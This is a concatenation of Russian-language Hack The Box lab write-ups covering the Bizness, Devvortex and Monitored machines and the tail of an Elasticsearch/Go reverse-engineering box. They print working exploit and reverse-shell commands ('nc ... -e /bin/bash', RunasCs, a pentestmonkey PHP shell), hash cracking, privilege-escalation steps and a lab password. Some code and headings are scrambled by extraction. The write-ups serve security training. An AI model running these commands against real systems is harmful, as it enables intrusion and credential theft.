Для под клю чения к Elasticsearch и даль нейшей работы я буду исполь зовать
ути литу .elasticvue

Нас трой ки под клю чения к Elastic

Глав ная стра ница Elastic

Продолжение статьи →

https://github.com/carlospolop/PEASS-ng
https://github.com/RalfHacker/HTTPServerWithUpload
https://github.com/jpillora/chisel
https://github.com/cars10/elasticvue
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Ес ли перей ти на вклад ку меню Indices, мож но най ти две записи.

Вклад ка Indices

По индексу  хра нит ся зна чение поля , а по индексу  —

поле с зашиф рован ными дан ными . При этом дан ные меня ются приб- 

лизитель но раз в минуту.

seed seed user-00001
blob

Зна чение seed

Зна чение user-00001

Те перь заг ружа ем най ден ный исполня емый файл в дизас сем блер с воз- 
можностью деком пилято ра (я исполь зую IDA Pro). Фун кция  типич- 

на для Golang. А зна чит, мы можем исполь зовать осо бен ность строк в Go: они
хра нят ся не как пос ледова тель ность сим волов с null-бай том в кон це, а как
струк тура, содер жащая стро ку и ее дли ну.

main_main

При запус ке прог раммы чита ются дан ные Elastic из фай ла ..env

Ди зас сем бли рован ный код фун кции main_main

Пос ле это го при ложе ние дела ет зап рос к базе и обра щает ся к записи ,
а затем — к записи .

seed
user-00001

За пись в базе

Но меж ду ними вызыва ются фун кции ,  и .
Что бы было лег че с ними разоб рать ся, прой дем их в режиме отладки. Пер- 
вым делом соз дадим файл , содер жащий парамет ры для под клю чения

к базе.

randStringList genKey encrypt

.env

ELASTICURI=https://172.16.135.1:9200
ELASTICUSER=elastic
ELASTICPASS=oKHzjZw0EGcRxT2cux5K

А затем перей дем к фун кции . Эта фун кция при нима ет
в качес тве парамет ра дли ну генери руемой стро ки, а воз вра щает слу чай ную
стро ку.

randStringList

Ди зас сем бли рован ный код фун кции randStringList

Ре зуль тат фун кции randStringList (сге нери рован ная стро ка)

Как вид но из кода, генери руемая стро ка будет дли ной 40 байт ( ). В сле- 

дующий раз эта сге нери рован ная стро ка будет исполь зована в фун кции
, куда так же будет передан резуль тат выпол нения фун кции

. При этом сама фун кция  при нима ет в качес тве

парамет ра зна чение .

28h

main_encrypt
main_genKey main_genKey

seed

Ди зас сем бли рован ный код при ложе ния

Фун кцию  удоб нее рас смот реть в деком пилиро ван ном виде.
Она начина ется с вызова  (стро ка 23), куда переда ется зна чение

. Эта фун кция уста нав лива ет зер но для ран дома, на осно вании которо го

будут в даль нейшем сге нери рова ны псев дослу чай ные дан ные. Потом будет
сге нери рова на 16-знач ная псев дослу чай ная пос ледова тель ность (стро- 
ки 24–32).

main_genKey
rand.Seed

seed

Де ком пилиро ван ный код фун кции genKey

Так, у нас есть соз данный на осно вании  ключ шиф рования и есть слу- 
чай ная стро ка. Эти дан ные переда ются в фун кцию , где и про- 

исхо дит шиф рование по алго рит му AES CFB.

seed
main_encrypt

Де ком пилиро ван ный код фун кции main_encrypt

Что бы боль ше понимать код фун кции шиф рования, луч ше поис кать ана логич- 
ные исходные коды, как, нап ример, в .ре пози тории STGDanny

Ис ходный код для шиф рования AES CFB

В том же репози тории пред став лена и фун кция для рас шифров ки, а нам
это еще при годит ся.

Ис ходный код для рас шифров ки AES CFB

За шиф рован ная в фун кции  стро ка записы вает ся в базу Elastic

для хра нения.

main_encrypt

Ди зас сем бли рован ный код при ложе ния

А затем соз дает ся про цесс , выпол няющий коман ду сме ны пароля

поль зовате лю . В качес тве пароля будет исполь зовать ся сге нери- 

рован ная 40-знач ная стро ка, которая была зашиф рована и записа на в базу
Elastic.

cmd.exe
backup

Ди зас сем бли рован ный код при ложе ния

Па рамет ры коман ды cmd.exe

Та ким обра зом, мы можем получить пароль поль зовате ля , у которо го

есть пра ва адми нис тра тора. Для это го необ ходимо узнать зна чение ,
на его осно ве сге нери ровать ключ, затем получить зна чение  и рас- 

шифро вать при помощи клю ча. Перей дем к написа нию кода.

backup
seed

blob

Äåêðèïòîð
Да вай поп робу ем поп росить ChatGPT накидать код, который будет обра щать- 
ся к базе и получать нуж ные зна чения из базы Elastic.

Зап рос к ChatGPT

Здесь нуж но убрать лиш ний импорт, а в осталь ном код пол ностью рабочий.

 package main

 import (
"crypto/tls"
"encoding/json"
"fmt"
"io/ioutil"
"net/http"
)

  func main() {
  url := "https://127.0.0.1:9200/_search?q=*"

  username := "elastic"
  password := "oKHzjZw0EGcRxT2cux5K"

     req, err := http.NewRequest("GET", url, nil)
    if err != nil {

   fmt.Println("Ошибка при создании запроса:", err)
  return
}

 req.SetBasicAuth(username, password)

  tr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

   client := &http.Client{Transport: tr}

   resp, err := client.Do(req)
    if err != nil {

   fmt.Println("Ошибка при выполнении запроса:", err)
  return
}

 defer resp.Body.Close()

   body, err := ioutil.ReadAll(resp.Body)
    if err != nil {

   fmt.Println("Ошибка при чтении тела ответа:", err)
  return
}

  var response map[string]interface{}
   err = json.Unmarshal(body, &response)

    if err != nil {
   fmt.Println("Ошибка при разборе JSON:", err)
  return
}

   hits, ok := response["hits"].(map[string]interface{})
  if !ok {

  fmt.Println("Не удалось получить данные hits из ответа")
  return
}

   hitsArray, ok := hits["hits"].([]interface{})
  if !ok {

  fmt.Println("Не удалось получить массив hits из ответа")
  return
}

      for _, hit := range hitsArray {
     hitData, ok := hit.(map[string]interface{})
    if !ok {
    fmt.Println("Не удалось получить данные hit из ответа")
    return
  }

     source, ok := hitData["_source"].(map[string]interface{})
    if !ok {
    fmt.Println("Не удалось получить данные _source из ответа")
    return
  }

     seed, ok := source["seed"].(float64)
    if ok {
     fmt.Printf("Значение seed: %v\n", int32(seed))
  }

     blob, ok := source["blob"].(string)
    if ok {
     fmt.Printf("Значение blob: %s\n", blob)
  }
}
}

Зна чения из базы Elastic

Те перь оста лось взять най ден ный код для рас шифров ки пароля, добавить
генера цию клю ча из  и объ еди нить с уже име ющим ся кодом.seed

...
        iSeed := int64(0)

            for _, hit := range hitsArray {
     hitData, ok := hit.(map[string]interface{})
    if !ok {
    fmt.Println("Не удалось получить данные hit из ответа")
    return
  }

     source, ok := hitData["_source"].(map[string]interface{})
    if !ok {
    fmt.Println("Не удалось получить данные _source из ответа")
    return
  }

     seed, ok := source["seed"].(float64)
    if ok {
      iSeed = int64(seed)
     fmt.Printf("Значение seed: %v\n", iSeed)
  }

     blob, ok := source["blob"].(string)
    if ok {
     fmt.Printf("Значение blob: %s\n", blob)

    rand.Seed(iSeed)
       key := make([]byte, 16)
         for i := range key {
        key[i] = byte(1 + rand.Intn(254))
    }

       decodedBlob, err := base64.URLEncoding.DecodeString(blob)
        if err == nil {
      iv := decodedBlob[:aes.BlockSize]
      encPassword := decodedBlob[aes.BlockSize:]

       block, _ := aes.NewCipher(key)
       stream := cipher.NewCFBDecrypter(block, iv)

       decPassword := make([]byte, len(encPassword))
     stream.XORKeyStream(decPassword, encPassword)

     fmt.Printf("Password: '%s'\n", string(decPassword))
    }
  }
}
...

По луче ние пароля поль зовате ля

Все опе рации нуж но делать быс тро, так как пароль меня ется раз в минуту.
Запус каем новый лис тенер ( ) и выпол няем
реверс-шелл от име ни дру гого поль зовате ля с помощью .

rlwrap nc -lvp 5432
RunasCs

RunasCs.exe backup bFYPKwOpjceZeDRJrcIjytwMAnCMEZiTnVNlVVWU cmd.exe 
-r 10.10.16.33:5432 --bypass-uac

За пуск RunasCs

И сра зу же получа ем новую сес сию от име ни поль зовате ля .backup

Флаг рута

Ма шина зах вачена!

https://gist.github.com/STGDanny/03acf29a90684c2afc9487152324e832
https://github.com/antonioCoco/RunasCs
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ВЗЛОМ

Се год ня мы с тобой про экс плу ати руем
связ ку из двух уяз вимос тей в про дук те
Apache OFBiz. Это поз волит обой ти аутен- 
тифика цию и уда лен но выпол нять про- 
изволь ный код на сер вере. Получив сес сию
поль зовате ля, мы сдам пим и взло маем
хеши из базы дан ных все того же OFBiz.

На ша цель — получе ние прав супер поль зовате ля на машине Bizness с учеб- 
ной пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.252    bizness.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел три откры тых пор та:
22 — служ ба OpenSSH 8.4p1;•
80 и 443 — веб-сер вер Nginx 1.18.0.•

На пор те 80 авто мати чес ки выпол няет ся редирект на .

Этот адрес мы уже внес ли в , поэто му оста ется толь ко открыть
бра узер и пос мотреть, что там за сайт.

https://bizness.htb
/etc/hosts

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — игно риро вать ошиб ки SSL;• -k

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За пус каем , задав все нуж ные парамет ры:feroxbuster

  128  1 feroxbuster -k -u https://bizness.htb/ -t -d -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Стра ница  выда ет ошиб ку, поп робу ем прос каниро вать вло жен ные
катало ги.

/control

Со дер жимое стра ницы control

  128  1 feroxbuster -k -u https://bizness.htb/control/ -t -d -w 
directory_2.3_medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

На ходим еще три стра ницы. На стра нице  узна ём вер сию Apache

OFBiz.

/login

Стра ница авто риза ции Apache OFBiz

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом сто ит про верить, есть ли готовые экс пло иты для работа ющей
на сер вере прог раммы. Про ще все го поис кать их в Google.

По иск экс пло итов в Google

Пер вая же ссыл ка ведет на  для уяз вимос тей  и 
. Наша вер сия Apache OFBiz содер жит уяз вимость, которая поз- 

воля ет обой ти аутен тифика цию и выпол нить на сер вере про изволь ный код.
Но сна чала нам нуж но убе дить ся, что уяз вимость дей стви тель но есть.
Для это го исполь зуем ска нер из най ден ного репози тория.

экс пло ит СVE-2023-51467 CVE-
2023-49070

В качес тве парамет ра ска неру дос таточ но передать лишь URL сай та.

python3 xdetection.py --url https://bizness.htb 

Про вер ка наличия уяз вимос ти

На ша вер сия точ но уяз вима, а зна чит, мож но запус тить локаль ный веб-сер- 
вер и для тес та выпол нить на уда лен ном хос те коман ду curl, которая обра тит- 
ся к нашему сер веру.

За пус каем сер вер:

python3 -m http.server 80 

Вы пол няем экс пло ит:

 python3 exploit.py --url https://bizness.htb --cmd 'curl http://10.
10.16.76/test_rce'

Ре зуль тат выпол нения экс пло ита

Ло ги веб-сер вера

Зап рос при шел, а зна чит, мы точ но так же можем запус тить и реверс-шелл.

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

Сна чала запус каем лис тенер:

pwncat-cs -lp 4321 

Те перь нам нуж но запус тить реверс-шелл на сер вере. Возь мем вот такой
вари ант, который исполь зует сис темную ути литу :nc

nc 10.10.16.76 4321 -e /bin/bash 

Че рез экс пло ит выпол няем эту коман ду на сер вере:

 python3 exploit.py --url https://bizness.htb --cmd 'nc 10.10.16.76 
4321 -e /bin/bash'

Сес сия поль зовате ля OFBiz

Пер вый флаг рас положен в домаш нем катало ге поль зовате ля, забира ем его.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы на целевой машине, но как поль зователь. Что бы най ти пути для повыше- 
ния при виле гий, я, как обыч но, вос поль зуюсь скрип тами PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг ружа ем на хост скрипт для Linux, даем ему пра во на выпол нение и запус- 
каем ска ниро вание. В выводе мно жес тво информа ции, но ничего, что нам
помог ло бы. Единс твен ный инте рес ный момент — фай лы с какими-то пароля- 
ми в катало ге .ofbiz

Най ден ные фай лы с пароля ми

Да вай поп робу ем отоб рать фай лы, в которых так же есть стро ка .login

cd /opt/ofbiz/ 
 login   ffind ./ -name * * -type
 Login   ffind ./ -name * * -type

Фай лы, содер жащие подс тро ку login

Вот в этом фай ле нашел ся шаб лон хеша пароля:

/opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml 

Со дер жимое фай ла AdminUserLoginData.xml

Поп робу ем най ти все такие хеши: поищем во всех фай лах стро ку .SHA

    grep -R 'SHA' ./ | grep -v '\.log\
|47b56994cbc2b6d10aa1be30f70165adb305a41a\|SHARE'

Спи сок фай лов, содер жащих подс тро ку SHA

В выводе мно го фай лов с рас ширени ем .dat. Grep не выводит подс тро ки
из фай лов, так как они бинар ные, а не тек сто вые. Но мож но прос то
с помощью ути литы strings извлечь из этих фай лов все стро ки, а потом
передать их в grep.

SHA strings ./runtime/data/derby/ofbiz/seg0/*.dat | grep 

SHA-хеш из базы DAT

Что бы понять, что это за хеш и как его переб рать, мож но поис кать его
в Google.

По иск в Google

Третья  при водит к исходно му коду модуля на GitHub. Фун кция
 содер жит код для фор матиро вания хеша.

ссыл ка
getCryptedBytes

Ис ходный код фун кции getCryptedBytes

Та ким обра зом, бай ты хеша сна чала кодиру ются в Base64, затем сим вол 

меня ется на , а минус на плюс. Что бы получить хеш в шес тнад цатерич ном
пред став лении, нуж но про извести обратные замены, декоди рова ние
Base64 и кодиро вание в HEX.

_
/

  |  echo 'uP0/QaVBpDWFeo8+dRzDqRwXQ2I' base64 -d | xxd -p

По луче ние хеша в фор мате hex

Так как пер воначаль ный фор мат  содер жит соль , нуж но най ти
режим hashcat, отве чающий за вычис ления хеша  от соли и пароля.

$SHA$d$... d
sha1

Ре жимы hashcat

Те перь мож но переб рать хеш в фор мате , ука зав при этом

режим 120 ( ).

хеш:соль
-m

 0  120 hashcat -a -m 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' 
rockyou.txt 

Ре зуль тат перебо ра хеша

С получен ным паролем авто ризу емся от име ни рута и забира ем вто рой флаг.

Флаг рута

Ма шина зах вачена!
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ВЗЛОМ

В сегод няшнем рай тапе мы с тобой про экс- 
плу ати руем прош логод нюю уяз вимость
в Apport — сис теме сооб щений о неполад- 
ках в Ubuntu. Но что бы получить дос туп
к ней, сна чала про ведем ата ку на Joomla,
получим сес сию на сер вере и най дем учет- 
ные дан ные поль зовате ля.

Все это — в рам ках про хож дения машины Devvortex с учеб ной пло щад ки 
. Уро вень слож ности задания отме чен как лег кий.

Hack
The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.242   devvortex.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0.•

Вы бор неболь шой, поэто му осмотрим веб-сер вер.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию.

Справка: сканирование веба c feroxbuster
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания.• -d

За даем все аргу мен ты и запус каем :feroxbuster

 128  1 feroxbuster -u http://devvortex.htb/ -t -d -w directory_2.3_
medium_lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

Опять же ничего инте рес ного не получа ем, поэто му ска ниру ем под домены.
Для это го исполь зуем . Парамет ры сле дующие:ffuf

 — URL;• -u

 — сло варь;• -w

 — количес тво потоков;• -t

 — HTTP-заголо вок.• -H

ffuf      128 -u "http://devvortex.htb/" -H 'Host: FUZZ.devvortex.htb' -t
-w subdomains-top1million-110000.txt 

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Но в вывод при ложе ния попада ют все вари анты из спис ка, поэто му нуж но
добавить филь тр по раз меру стра ницы (параметр ):-fs

ffuf      128 
 154 

-u "http://devvortex.htb/" -H 'Host: FUZZ.devvortex.htb' -t
-w subdomains-top1million-110000.txt -fs

Ре зуль тат ска ниро вания под доменов с помощью ffuf

Мы наш ли под домен , а зна чит, обновля ем запись в фай ле :dev /etc/hosts

10.10.11.242 devvortex.htb dev.devvortex.htb 

И идем смот реть обна ружен ный сайт.

Глав ная стра ница сай та

Но и здесь не наш лось ничего, что мож но было бы исполь зовать для раз вития
ата ки. Зна чит, нуж но ска ниро вать фай лы и катало ги.

 128  1 feroxbuster -u http://dev.devvortex.htb/ -t -d -w files_
interesting.txt 

Ре зуль тат ска ниро вания катало гов с помощью feroxbuster

В выводе видим файл .robots.txt

Справка: robots.txt
Этот файл исполь зует ся для того, что бы поп росить кра уле ры (нап ример,
Google, Яндекс и про чие) не тро гать какие-то опре делен ные катало ги. Нап- 
ример, ник то не хочет, что бы в поис ковой выдаче появ лялись стра ницы авто- 
риза ции адми нис тра торов сай та, фай лы или пер сональ ная информа ция
со стра ниц поль зовате лей и про чие вещи в таком духе. Одна ко и зло умыш- 
ленни ки пер вым делом прос матри вают этот файл, что бы узнать о фай лах
и катало гах, которые хочет спря тать адми нис тра тор сай та.

Со дер жимое фай ла robots.txt

По луча ем инте рес ные стра ницы, а так же узна ём, что исполь зует ся Joomla.
А из фай ла  узна ём и вер сию этой сис темы управле ния кон- 
тентом.

README.txt

Со дер жимое фай ла README.txt

Продолжение статьи →
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HTB DEVVORTEX
ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ

УЯЗВИМОСТЬ В APPORT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом сто ит про верить, есть ли для обна ружен ной CMS уже готовые
экс пло иты. Самый надеж ный спо соб най ти готовый экс пло ит — поис кать
в интерне те на сай тах вро де , , а так же GitHub.HackerOne Exploit-DB

По иск экс пло итов в Google

Вто рая  ведет к экс пло иту для уяз вимос ти CVE-2023-23752, которая
дает неав торизо ван ному поль зовате лю воз можность получить при ват ную
информа цию, вклю чая учет ные дан ные зарегис три рован ных поль зовате лей.
Уста нав лива ем необ ходимые модули Ruby и запус каем экс пло ит.

ссыл ка

gem sudo install httpx docopt paint 
ruby exploit.rb http://dev.devvortex.htb 

Ре зуль тат работы экс пло ита

По луча ем учет ные дан ные, в том чис ле и адми нис тра тора CMS.

Joomla Super User → RCE
Ес ли у нас есть при виле гии адми нис тра тора в CMS, мож но заг рузить на сер- 
вер свой код и выпол нить его, а это дает нам воз можность получить RCE.
В Joomla перей дем на вклад ку System к нас трой ке Site Templates.

Со дер жимое вклад ки System

Ак тивные шаб лоны Joomla

Вы бира ем дос тупный шаб лон и получа ем дос туп к его фай лам. Самый
безобид ный для работы сай та файл — это .error.php

Со дер жимое фай ла error.php

В качес тве выпол няемо го кода исполь зуем реверс-шелл .pentestmonkey

Справка: реверс-шелл
Об ратный шелл — это под клю чение, которое акти виру ет ата куемая машина,
а мы при нима ем и таким обра зом под клю чаем ся к ней, что бы выпол нять
коман ды от лица поль зовате ля, запус тивше го шелл. Для при ема соеди нения
необ ходимо соз дать на локаль ной машине listener, то есть «слу шатель».

Но вый код error.php

Ос талось запус тить лис тенер  и обра тить ся к изме нен- 

ному фай лу 
.

pwncat-cs -lp 4321
http://dev.devvortex.htb/administrator/templates/

cassiopeia/error.php

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет сис тема управле- 
ния кон тентом, то пер вое наше дей ствие — поп робовать извлечь из ее базы
дан ных учет ные дан ные поль зовате лей. Высока веро ятность, что эти учет ные
дан ные подой дут и для поль зовате лей ОС тоже. Кре ды для под клю чения
к базе у нас есть, исполь зуем их при авто риза ции в MySQL. Затем сра зу
перехо дим к базе дан ных .joomla

mysql -h localhost -u lewis -p

 use joomla;

Под клю чение к базе дан ных joomla

Учет ные дан ные Joomla хра нит в таб лице , но для всех таб лиц исполь- 

зует ся пре фикс. Вывод экс пло ита содер жал и его: . Нас инте ресу ют

колон ки  и .

users
sd4fg_

username password

   select username,password from sd4fg_users;

Учет ные дан ные поль зовате лей

Ис поль зует ся слож ный алго ритм хеширо вания bcrypt, поэто му взлом может
занять некото рое вре мя. Переби рать будем толь ко хеш пароля поль зовате ля

.logan

hashcat -m 3200 hash.txt rockyou.txt 

Ре зуль тат взло ма хеша

С получен ными учет ными дан ными авто ризу емся через SSH и забира ем пер- 
вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Су щес тву ет мно жес тво мест, которые сто ит про верить в Linux в поис ках пути
для повыше ния при виле гий. Одно из основных — файл , где

хра нит ся спи сок команд, которые раз ные груп пы поль зовате лей могут выпол- 
нять от име ни адми нис тра тора сис темы.

/etc/sudoers

Вы ведем содер жимое это го фай ла:

 sudo -l

Нас трой ки sudoers

И обна ружи ваем, что любой поль зователь при предъ явле нии сво его пароля
может выпол нить коман ду  в при виле гиро ван ном кон- 

тек сте.

/usr/bin/apport-cli

Apport — это при ложе ние, которое авто мати чес ки собира ет дан ные
об ава рий ных завер шени ях про цес сов, а затем сос тавля ет и сох раня ет отчет
в каталог ./var/crash/

Да вай пос мотрим, нет ли в Apport све жих уяз вимос тей. Для это го про ще
все го исполь зовать Google.

По иск уяз вимос тей в Google

Опи сание уяз вимос ти

На ходим уяз вимость CVE-2023-26604. Как ска зано в ее , исполня- 
емый файл  до вер сии 2.26.0 вклю читель но дает воз можность

выпол нить коман ду в тер минале. Учи тывая, что  в нашей сис теме
работа ет с рутовы ми пра вами, это поз волит и нам получить их. Вер сия Apport
у нас как раз уяз вимая.

опи сании
apport-cli

apport-cli

Вер сия при ложе ния

Зная иден тифика тор уяз вимос ти, находим сна чала под робное ,
а затем и .

опи сание
тех нику для экс плу ата ции

Спо соб экс плу ата ции уяз вимос ти

В пер вую оче редь сто ит сде лать что-то, что вызовет сра баты вание Apport.
Запус тим, а потом ава рий но завер шим про цесс.

sleep 10 & 
 killall -SIGSEGV sleep

За пуск и завер шение про цес са

Apport сох ранил отчет, и теперь мы можем его обра ботать и перей ти к выпол- 
нению шел ла.

Вы вод apport-cli

За тем выпол няем про цесс  и получа ем коман дную обо лоч ку с пра- 

вами рута.

/bin/bash

Флаг рута

А это зна чит, что наша цель выпол нена и машина зах вачена!

https://www.hackerone.com/
https://www.exploit-db.com/
https://github.com/Acceis/exploit-CVE-2023-23752
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://security.snyk.io/vuln/SNYK-UBUNTU2004-APPORT-5422150
https://github.com/advisories/GHSA-qgrc-7333-5cgx
https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddcb0364c48ecb
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ВЗЛОМ

В этом рай тапе мы порабо таем с API сис- 
темы монито рин га Nagios XI, про экс плу ати- 
руем SQL-инъ екцию, соз дадим сво его
поль зовате ля и зло упот ребим воз можнос- 
тями адми на, что бы получить дос туп к опе- 
раци онной сис теме. Затем нес ложным спо- 
собом повысим при виле гии в Linux.

На ша цель — получе ние прав супер поль зовате ля на машине Monitored
с учеб ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.248    monitored.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Час то я допол нитель но про веряю порт UDP 161.

nmap  sudo -p161 -sU 10.10.11.248 

В этот раз он ока зал ся открыт.

Ре зуль тат ска ниро вания UDP-пор тов

Ито го ска нер нашел шесть откры тых пор тов:
22 — служ ба OpenSSH 8.4p1;•
80 и 443 — веб-сер вер Apache 2.4.56;•
389 — служ ба LDAP;•
5667 — неиз вес тный сер вис;•
161 (UDP) — служ ба SNMP.•

Так же в выводе Nmap под меча ем редирект с пор та 80 на адрес 
. Его тоже добав ляем в :

nagios.
monitored.htb /etc/hosts

10.10.11.248 monitored.htb nagios.monitored.htb 

Пос коль ку дос тупна служ ба SNMP, нач нем имен но с нее.

ÒÎ×ÊÀ ÂÕÎÄÀ

SNMP — прос той про токол управле ния сетью. Он исполь зует ся для монито- 
рин га устрой ств в сети (нап ример, мар шру тиза торов, ком мутато ров, прин- 
теров).

Тут сле дует сра зу упо мянуть два понятия:
 (Management Information Base) — база дан ных, хра нящая информа- 

цию обо всех объ ектах (парамет рах и нас трой ках) устрой ства;

• MIB

 (Object Identier) — чис ловой иден тифика тор объ екта в дереве MIB.• OID

При работе с уда лен ной сис темой по SNMP все зап росы дела ются по OID,
который отра жает положе ние объ екта в дереве объ ектов MIB. Но что бы
получить всю информа цию, нам сна чала нуж но прой ти сво еоб разную аутен- 
тифика цию, ука зав иден тифика тор сооб щес тва. Так как мы ее не зна ем, ее
нуж но переб рать, к при меру с помощью ути литы . Переби рать

будем по сло варю из набора .

onesixtyone

SecLists

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-
community-strings.txt 10.10.11.248 

Пе ребор community-строк

В ито ге наш ли все го одну community-стро ку — . Все OID сис темы мож- 

но получить, прос каниро вав устрой ство, нап ример вот такой коман дой:

public

 2c snmpwalk -v -c public 10.10.11.248 

Дан ные, получен ные из сис темы

Сре ди спис ков про цес сов есть скрипт , который получа ет
в качес тве парамет ров учет ные дан ные. Боль ше в выводе ничего инте рес- 
ного нет, поэто му перехо дим к изу чению сай та на обна ружен ном при ска- 
ниро вании пор тов веб-сер вере.

check_host.sh

